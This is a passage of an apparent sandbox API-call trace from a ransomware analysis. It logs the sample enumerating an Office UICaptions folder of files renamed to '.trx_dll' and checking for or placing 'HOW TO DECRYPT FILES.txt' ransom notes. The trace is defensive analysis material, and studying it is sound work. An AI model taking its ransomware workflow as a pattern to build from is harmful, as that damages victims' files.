returned 0x2020 [0092.229] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" [0092.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1 [0092.230] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTLLIBR.REST.trx_dll") returned -1 [0092.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTLLIBR.REST.trx_dll") returned -1 [0092.230] lstrcmpiA (lpString1="", lpString2="OUTLLIBR.REST.trx_dll") returned -1 [0092.230] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll" [0092.230] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.230] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.230] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.230] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.230] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" [0092.230] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1 [0092.230] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTLWVW.DLL.trx_dll") returned -1 [0092.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTLWVW.DLL.trx_dll") returned -1 [0092.230] lstrcmpiA (lpString1="", lpString2="OUTLWVW.DLL.trx_dll") returned -1 [0092.230] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll" [0092.231] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.231] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.231] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.231] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.231] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" [0092.231] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1 [0092.231] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.231] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PPINTL.DLL.trx_dll") returned -1 [0092.231] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PPINTL.DLL.trx_dll") returned -1 [0092.231] lstrcmpiA (lpString1="", lpString2="PPINTL.DLL.trx_dll") returned -1 [0092.231] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll" [0092.231] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.231] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.231] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.232] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.232] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="PPINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" [0092.232] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1 [0092.232] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PPINTL.REST.trx_dll") returned -1 [0092.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PPINTL.REST.trx_dll") returned -1 [0092.232] lstrcmpiA (lpString1="", lpString2="PPINTL.REST.trx_dll") returned -1 [0092.232] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll" [0092.232] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.232] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.232] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.232] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.233] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="PPINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" [0092.233] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1 [0092.233] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.233] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PUB6INTL.DLL.trx_dll") returned -1 [0092.233] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PUB6INTL.DLL.trx_dll") returned -1 [0092.233] lstrcmpiA (lpString1="", lpString2="PUB6INTL.DLL.trx_dll") returned -1 [0092.233] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll" [0092.233] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.233] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.233] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.233] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.233] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" [0092.233] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1 [0092.233] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.234] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PUB6INTL.REST.trx_dll") returned -1 [0092.234] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PUB6INTL.REST.trx_dll") returned -1 [0092.234] lstrcmpiA (lpString1="", lpString2="PUB6INTL.REST.trx_dll") returned -1 [0092.234] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll" [0092.234] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.234] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.234] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.234] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.234] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" [0092.234] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1 [0092.234] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.234] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PUBWZINT.REST.trx_dll") returned -1 [0092.234] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PUBWZINT.REST.trx_dll") returned -1 [0092.234] lstrcmpiA (lpString1="", lpString2="PUBWZINT.REST.trx_dll") returned -1 [0092.234] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll" [0092.234] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.234] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.234] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.234] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.235] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" [0092.235] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1 [0092.235] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.235] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SGRES.DLL.trx_dll") returned -1 [0092.235] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SGRES.DLL.trx_dll") returned -1 [0092.235] lstrcmpiA (lpString1="", lpString2="SGRES.DLL.trx_dll") returned -1 [0092.235] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll" [0092.235] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.235] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.235] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.235] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.235] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="SGRES.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" [0092.236] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1 [0092.236] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.236] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="STINTL.DLL.trx_dll") returned -1 [0092.236] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="STINTL.DLL.trx_dll") returned -1 [0092.236] lstrcmpiA (lpString1="", lpString2="STINTL.DLL.trx_dll") returned -1 [0092.236] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll" [0092.236] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.236] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.236] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.236] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.236] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="STINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" [0092.236] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1 [0092.236] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.237] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll" [0092.237] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.237] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.237] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All 